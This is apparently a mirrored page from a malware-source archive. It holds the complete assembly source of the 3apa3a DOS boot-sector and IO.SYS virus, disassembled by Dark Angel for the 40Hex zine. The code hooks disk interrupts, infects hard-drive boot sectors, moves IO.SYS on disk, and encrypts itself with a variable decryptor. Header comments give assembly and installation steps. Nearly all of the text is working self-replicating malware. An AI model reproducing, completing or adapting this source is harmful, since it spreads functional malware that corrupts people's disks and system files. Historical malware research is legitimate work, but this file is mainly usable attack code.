mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
521 lines
22 KiB
NASM
521 lines
22 KiB
NASM
; To assemble, simple run TASM and TLINK on this file and generate a binary.
|
|
; The first 512d bytes of the binary will contain the portion of the virus
|
|
; which resides in IO.SYS. The second 512d bytes will contain the boot
|
|
; section portion of the virus.
|
|
|
|
; Installation is slightly more difficult. It requires you to simulate
|
|
; an infection with 3apa3a. Read the text above for information. Basically,
|
|
; you have to fill in the BPB in the boot sector, fill in the patch values,
|
|
; and then move the pieces onto the disk properly.
|
|
|
|
.model tiny
|
|
.code
|
|
.radix 16
|
|
org 0
|
|
; 3apa3a virus
|
|
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
|
|
zero:
|
|
_3apa3a: push cs
|
|
call doffset
|
|
doffset: pop si
|
|
db 83,0EE,4 ; sub si,4
|
|
push si ax bx cx dx ds es
|
|
|
|
mov ah,4 ; get date
|
|
int 1Ah
|
|
|
|
cmp dh,8 ; september?
|
|
jne no_activate
|
|
|
|
lea bx,cs:[si+message-_3apa3a]
|
|
mov ax,0E42 ; begin with B
|
|
mov cx,endmessage - message
|
|
display_loop: int 10 ; print character
|
|
add al,cs:[bx] ; calculate next character
|
|
inc bx
|
|
loop display_loop
|
|
|
|
no_activate: cld
|
|
xor ax,ax ; ds = 0
|
|
mov ds,ax
|
|
push cs ; es = cs
|
|
pop es
|
|
lea di,[si+offset old_i13]
|
|
push si
|
|
mov si,13*4 ; grab old int 13 handler
|
|
movsw
|
|
movsw
|
|
mov ax,ds:413 ; get BIOS memory size
|
|
dec ax ; decrease by 2K
|
|
dec ax
|
|
mov ds:413,ax ; replace the value
|
|
mov cl,6 ; convert to paragraphs
|
|
shl ax,cl
|
|
mov [si-2],ax ; replace interrupt handler
|
|
mov word ptr [si-4],offset i13
|
|
mov es,ax ; move ourselves up
|
|
push cs
|
|
pop ds si
|
|
xor di,di
|
|
mov cx,200
|
|
push si
|
|
rep movsw ; copy now!
|
|
inc ch ; cx = 1
|
|
sub si,200 ; copy rest
|
|
rep movsw
|
|
pop si
|
|
push cs es
|
|
mov ax,offset highentry
|
|
push ax
|
|
retf
|
|
|
|
highentry: mov ax,7C0
|
|
mov ds,ax
|
|
mov word ptr ds:200,201
|
|
mov byte ptr ds:202,80
|
|
les ax,dword ptr cs:203
|
|
mov dx,es
|
|
pop es
|
|
mov bx,si
|
|
mov cx,1
|
|
mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call
|
|
call work_on_sectors ; do_i13
|
|
pop es ds dx cx bx ax
|
|
retf
|
|
|
|
message: db ' ' - 'B'
|
|
db 'B' - ' '
|
|
db 'O' - 'B'
|
|
db 'O' - 'O'
|
|
db 'T' - 'O'
|
|
db ' ' - 'T'
|
|
db 'C' - ' '
|
|
db 'E' - 'C'
|
|
db 'K' - 'E'
|
|
db 'T' - 'K'
|
|
db 'O' - 'T'
|
|
db 'P' - 'O'
|
|
db 'E' - 'P'
|
|
db ' ' - 'E'
|
|
db '-' - ' '
|
|
db ' ' - '-'
|
|
db '3' - ' '
|
|
db 'A' - '3'
|
|
db 'P' - 'A'
|
|
db 'A' - 'P'
|
|
db '3' - 'A'
|
|
db 'A' - '3'
|
|
db '!' - 'A'
|
|
db 7 - '!'
|
|
db 0Dh - 7
|
|
db 10 - 0Dh
|
|
endmessage:
|
|
|
|
do_i13: mov ax,ds:200
|
|
mov dl,ds:202
|
|
mov byte ptr cs:patch,0EBh ; jmp absolute
|
|
int 13 ; do interrupt
|
|
mov byte ptr cs:patch,75 ; jnz
|
|
jc retry_error
|
|
cld
|
|
retn
|
|
|
|
retry_error: cmp dl,80 ; first hard drive?
|
|
je do_i13 ; if so, retry
|
|
go_exit_i13: jmp exit_i13 ; otherwise quit
|
|
|
|
i13: push ax bx cx dx si di ds es bp
|
|
mov bp,sp
|
|
test dl,80 ; hard drive?
|
|
patch: jnz go_exit_i13
|
|
|
|
add dh,cl ; check if working on
|
|
add dh,ch ; boot sector or
|
|
cmp dh,1 ; partition table
|
|
ja go_exit_i13 ; if not, quit
|
|
|
|
mov ax,cs ; get our current segment
|
|
add ax,20 ; move up 200 bytes
|
|
mov ds,ax
|
|
mov es,ax
|
|
mov word ptr ds:200,201 ; set function to read
|
|
mov ds:202,dl ; set drive to hard drive
|
|
mov bx,400 ; set buffer
|
|
xor dx,dx ; read in the boot sector
|
|
push dx
|
|
mov cx,1
|
|
call do_i13 ; read in boot sector
|
|
|
|
cmp byte ptr ds:400+21,2E ; check if 3apa3a already there
|
|
je go_exit_i13
|
|
cmp byte ptr ds:400+18,0
|
|
je go_exit_i13
|
|
|
|
push cs
|
|
pop es
|
|
mov di,203
|
|
mov si,403
|
|
mov cx,1Bh ; copy disk tables
|
|
cld
|
|
rep movsb
|
|
|
|
sub si,200 ; copy the rest
|
|
mov cx,1E2
|
|
rep movsb
|
|
|
|
inc byte ptr ds:201 ; set to write
|
|
mov ax,ds:16 ; get sectors per FAT
|
|
mul byte ptr ds:10 ; multiply by # FATs
|
|
mov bx,ds:11 ; get number of sectors
|
|
mov cl,4 ; occupied by the root
|
|
shr bx,cl ; directory
|
|
db 83,0FBh,5 ; cmp bx,5 ; at least five?
|
|
jbe go_exit_i13 ; if not, quit
|
|
|
|
add ax,bx ;
|
|
add ax,ds:0E ; add # reserved sectors
|
|
dec ax ; drop two sectors to find
|
|
dec ax ; start of last sector
|
|
xor dx,dx ; of root directory
|
|
push ax dx
|
|
call abs_sec_to_BIOS
|
|
mov ds:patch1-200,cx ; move original boot
|
|
mov ds:patch2-200,dh ; sector to the end of the
|
|
xor bx,bx ; root directory
|
|
call do_i13
|
|
pop dx ax
|
|
dec ax
|
|
call abs_sec_to_BIOS
|
|
|
|
mov ds:34,cx ;patch3 ; write io portion to
|
|
mov ds:37,dh ;patch4
|
|
add bh,6 ; bx = 600
|
|
call do_i13
|
|
|
|
push ds
|
|
xor ax,ax
|
|
mov ds,ax
|
|
mov dx,ds:46C ; get timer ticks
|
|
pop ds
|
|
|
|
mov bl,dl ; eight possible instructions
|
|
db 83,0E3,3 ; and bx,3
|
|
push bx
|
|
shl bx,1 ; convert to word index
|
|
mov si,bx
|
|
mov cx,es:[bx+encrypt_table]
|
|
pop bx
|
|
push bx
|
|
mov bh,bl
|
|
shr bl,1 ; bl decides which ptr to use
|
|
lea ax,cs:[bx+2BBE] ; patch pointer
|
|
mov ds:[decrypt-bs_3apa3a],ax ; and start location
|
|
add ch,bl
|
|
mov ds:[encrypt_instr-bs_3apa3a],cx
|
|
add ax,0CF40
|
|
mov ds:[patch_endptr-bs_3apa3a],ax
|
|
pop ax
|
|
push ax
|
|
mul dh
|
|
add al,90 ; encode xchg ax,??
|
|
add bl,46 ; encode inc pointer
|
|
mov ah,bl
|
|
mov ds:[patch_incptr-bs_3apa3a],ax
|
|
mov dx,word ptr cs:[si+decrypt_table]
|
|
mov word ptr cs:decrypt_instr,dx
|
|
pop di
|
|
db 83,0C7 ;add di,XX ; start past decryptor
|
|
dw bs_3apa3a_decrypt - bs_3apa3a
|
|
org $ - 1
|
|
mov si,di
|
|
push ds
|
|
pop es
|
|
mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
|
|
mov ah,al
|
|
encrypt_loop: lodsb
|
|
decrypt_instr: add al,ah
|
|
stosb
|
|
loop encrypt_loop
|
|
|
|
pop dx
|
|
mov cx,1 ; write the replacement
|
|
xor bx,bx ; boot sector to the disk
|
|
call do_i13
|
|
exit_i13: mov sp,bp
|
|
pop bp es ds di si dx cx bx ax
|
|
db 0EAh
|
|
old_i13 dw 0, 0
|
|
|
|
decrypt_table: not al
|
|
sub al,ah
|
|
add al,ah
|
|
xor al,ah
|
|
|
|
encrypt_table dw 014F6 ; not
|
|
dw 0480 ; add
|
|
dw 2C80 ; sub
|
|
dw 3480 ; xor
|
|
; This marks the end of the IO.SYS only portion of 3apa3a
|
|
|
|
; The boot sector portion of 3apa3a follows.
|
|
|
|
adj_ofs = 7C00 + zero - bs_3apa3a
|
|
|
|
bs_3apa3a: jmp short decrypt
|
|
nop
|
|
; The following is an invalid boot sector. Replace it with
|
|
; yours.
|
|
db ' '
|
|
|
|
db 00, 00, 00, 00, 00, 00
|
|
db 00, 00, 00, 00, 00, 00
|
|
db 00, 00, 00, 00, 00, 00
|
|
db 00
|
|
|
|
decrypt: db 0BF ; mov di,
|
|
dw adj_ofs + bs_3apa3a_decrypt
|
|
decrypt_loop: db 2e ; cs:
|
|
encrypt_instr label word
|
|
db 80,2Dh ; sub byte ptr [di],XX
|
|
patch_incptr label word
|
|
db 0 ; temporary value for cryptval
|
|
inc di
|
|
db 81 ; cmp
|
|
patch_endptr label word
|
|
db 0ff ; pointer
|
|
dw adj_ofs + end_crypt
|
|
jne decrypt_loop
|
|
bs_3apa3a_decrypt = $ - 1
|
|
jmp short enter_bs_3apa3a
|
|
nop
|
|
|
|
load_original: xor dx,dx ; set up the read
|
|
mov es,dx ; of the original boot sector
|
|
db 0B9 ; mov cx, XXXX
|
|
patch3 dw 3
|
|
db 0B6
|
|
patch4 db 1
|
|
mov bx,ds ; es:bx = 0:7C00
|
|
mov ax,201
|
|
db 0ebh ; jump to code in stack
|
|
dw bs_3apa3a - 4 - ($ + 1)
|
|
|
|
org $ - 1
|
|
|
|
enter_bs_3apa3a:cli
|
|
xor ax,ax
|
|
mov ss,ax ; set stack to just below us
|
|
mov sp,7C00
|
|
sti
|
|
mov dl,80 ; reset hard drive
|
|
int 13
|
|
|
|
mov ax,2F72 ; encode JNZ load_original at
|
|
; 7BFE
|
|
mov ds,sp ; set segment registers to
|
|
mov es,sp ; 7C00
|
|
push ax
|
|
mov word ptr ds:200,201 ; do a read
|
|
mov ds:202,dl ; from the hard drive
|
|
xor bx,bx ; read to 7C00:0
|
|
mov dh,1 ; read head 1
|
|
mov cx,1 ; read sector 1
|
|
; (assumes active boot
|
|
; sector is here)
|
|
mov ax,13CDh ; encode int 13 at 7BFC
|
|
push ax
|
|
call exec_int13 ; do the read
|
|
mov bx,203
|
|
cmp byte ptr [bx-4],0AA ; is it valid bs?
|
|
jnz_load_original:
|
|
jne load_original ; if not, assume infected and
|
|
; transfer control to it
|
|
mov ax,ds:13 ; get number of sectors in
|
|
dec ax ; image - 1
|
|
cmp ax,5103 ; hard drive too small? (5103h
|
|
jbe load_original ; sectors ~ 10.6 megs)
|
|
mov ax,ds:1C ; get number hidden sectors
|
|
add ax,ds:0E ; add number reserved sectors
|
|
mov ds:9,ax ; store at location that holds
|
|
; the end of OEM signature
|
|
add ax,ds:16 ; add sectors per FAT
|
|
dec ax ; go down two sectors
|
|
dec ax
|
|
push ax
|
|
xor dx,dx
|
|
mov cx,dx
|
|
call work_on_sectors ; load end of FAT to 7C00:203
|
|
mov ax,ds:16 ; get sectors per FAT
|
|
push ax ; save the value
|
|
mul byte ptr ds:10 ; multiply by # FATs
|
|
add ax,ds:9 ; calculate start of root dir
|
|
mov ds:7,ax ; store it in work buffer
|
|
mov cl,4
|
|
mov si,ds:11 ; get number sectors the
|
|
shr si,cl ; root directory takes
|
|
add si,ax ; and calculate start of data
|
|
mov ds:5,si ; area and store it in buffer
|
|
call work_on_sectors ; get first 5 sectors of the
|
|
; root directory
|
|
test byte ptr ds:403+0Bh,8 ; volume label bit set on first
|
|
; entry? (infection marker)
|
|
jne_load_original: ; if so, already infected, so
|
|
jnz jnz_load_original ; quit
|
|
xor si,si
|
|
mov bx,1003
|
|
mov ax,ds:403+1A ; get starting cluster number
|
|
; of IO.SYS
|
|
read_IO_SYS: push ax ; convert cluster to absolute
|
|
call clus_to_abs_sec ; sector number
|
|
call work_on_sector ; read in one cluster of IO.SYS
|
|
inc si
|
|
pop ax
|
|
|
|
push bx ax
|
|
mov bx,403+0A00 ; read into this buffer
|
|
push bx
|
|
mov al,ah ; find the sector with the FAT
|
|
xor dx,dx ; entry corresponding to this
|
|
mov ah,dl ; cluster
|
|
add ax,ds:9
|
|
call work_on_sectors ; read in the FAT
|
|
pop bx ax
|
|
mov ah,dl
|
|
shl ax,1
|
|
mov di,ax
|
|
mov ax,[bx+di] ; grab the FAT entry (either EOF
|
|
; or next cluster number)
|
|
pop bx ; corresponding to this cluster
|
|
cmp ax,0FFF0 ; is there any more to read?
|
|
jb read_IO_SYS ; if so, keep going
|
|
|
|
inc byte ptr ds:201 ; change function to a write
|
|
pop cx
|
|
dec cx
|
|
dec cx
|
|
mov ds:4,cl
|
|
mov di,401 ; scan the end of the FAT
|
|
mov cx,100
|
|
mov bp,-1
|
|
copy_IO_SYS: xor ax,ax ; look for unused clusters
|
|
repne scasw
|
|
jnz jne_load_original
|
|
mov [di+2],bp
|
|
mov bx,cx
|
|
mov bh,ds:4
|
|
mov bp,bx ; save starting cluster of
|
|
push bp cx ; where IO.SYS will be moved
|
|
mov ah,ds:0Dh
|
|
shl ax,1
|
|
dec si
|
|
mul si
|
|
mov bx,ax
|
|
add bx,1003
|
|
mov ax,bp
|
|
call clus_to_abs_sec
|
|
call work_on_sector ; move IO.SYS to end of HD
|
|
pop cx bp
|
|
or si,si
|
|
jnz copy_IO_SYS
|
|
|
|
mov si,0DE1 ; move all but the first two
|
|
mov di,0E01 ; directory entries down one
|
|
mov cx,4D0 ; (10 dir entries / sector,
|
|
rep movsw ; 5 sectors)
|
|
; DF set by exec_int13
|
|
mov si,421 ; move IO.SYS entry down two
|
|
mov cx,10 ; entries
|
|
rep movsw
|
|
|
|
mov ds:400+2*20+1Dh,bp ; set starting cluster of the
|
|
; moved original IO.SYS
|
|
or byte ptr ds:40E,8 ; set volume label bit on first
|
|
; IO.SYS entry
|
|
mov bx,403 ; point to root directory
|
|
mov ax,ds:7 ; get starting cluster of
|
|
xor dx,dx ; root dir
|
|
mov cl,4
|
|
call work_on_sectors ; write updated root directory
|
|
pop ax ; to the disk
|
|
write_FATs: mov bx,203 ; point to the updated FAT
|
|
call work_on_sectors ; write changed end of FAT
|
|
|
|
dec ax
|
|
add ax,ds:16 ; add sectors per FAT
|
|
dec byte ptr ds:10 ; processed all the FATs?
|
|
jnz write_FATs
|
|
|
|
mov ax,bp
|
|
call clus_to_abs_sec
|
|
mov cs:7C03,ax ; store the values
|
|
mov cs:7C05,dx
|
|
mov byte ptr cs:7C01,1Ch
|
|
|
|
xor ax,ax ; reset default drive
|
|
mov dx,ax
|
|
int 13
|
|
|
|
mov ax,201 ; read in original boot sector
|
|
; You must patch the following values if you are installing 3apa3a on a disk
|
|
db 0b9 ; mov cx, XXXX
|
|
patch1 dw 0
|
|
db 0b6 ; mov dh, XX
|
|
patch2 db 0
|
|
mov bx,0E03
|
|
call perform_int13
|
|
|
|
mov ax,ds:403+1A ; get starting cluster number
|
|
call clus_to_abs_sec ; of IO.SYS
|
|
xor cx,cx
|
|
call work_on_sectors
|
|
mov bx,ds
|
|
mov es,cx
|
|
call work_on_sectors
|
|
go_load_original:
|
|
jmp load_original
|
|
|
|
exec_int13: mov ax,ds:200 ; get function from memory
|
|
mov dl,ds:202 ; get drive from memory
|
|
perform_int13: int 13
|
|
jc go_load_original
|
|
std
|
|
retn
|
|
|
|
work_on_sectors:inc cx
|
|
work_on_sector: push cx dx ax
|
|
call abs_sec_to_BIOS
|
|
call exec_int13
|
|
pop ax dx cx
|
|
add ax,1 ; calculate next sector
|
|
db 83,0D2,0 ; adc dx,0 ; (don't use INC because
|
|
add bh,2 ; INC doesn't set carry)
|
|
loop work_on_sector ; do it for the next sector
|
|
|
|
retn
|
|
|
|
abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track
|
|
mov cx,dx
|
|
inc cl
|
|
xor dx,dx
|
|
div word ptr ds:1A ; divide by number of heads
|
|
ror ah,1
|
|
ror ah,1
|
|
xchg ah,al
|
|
add cx,ax
|
|
mov dh,dl
|
|
retn
|
|
|
|
clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster
|
|
xor ch,ch ; (convert to word)
|
|
dec ax
|
|
dec ax
|
|
mul cx ; convert cluster number to
|
|
add ax,ds:5 ; absolute sector number
|
|
end_crypt: db 83,0D2,0 ; adc dx,0
|
|
retn
|
|
|
|
dw 0AA55 ; boot signature
|
|
|
|
end _3apa3a
|
|
|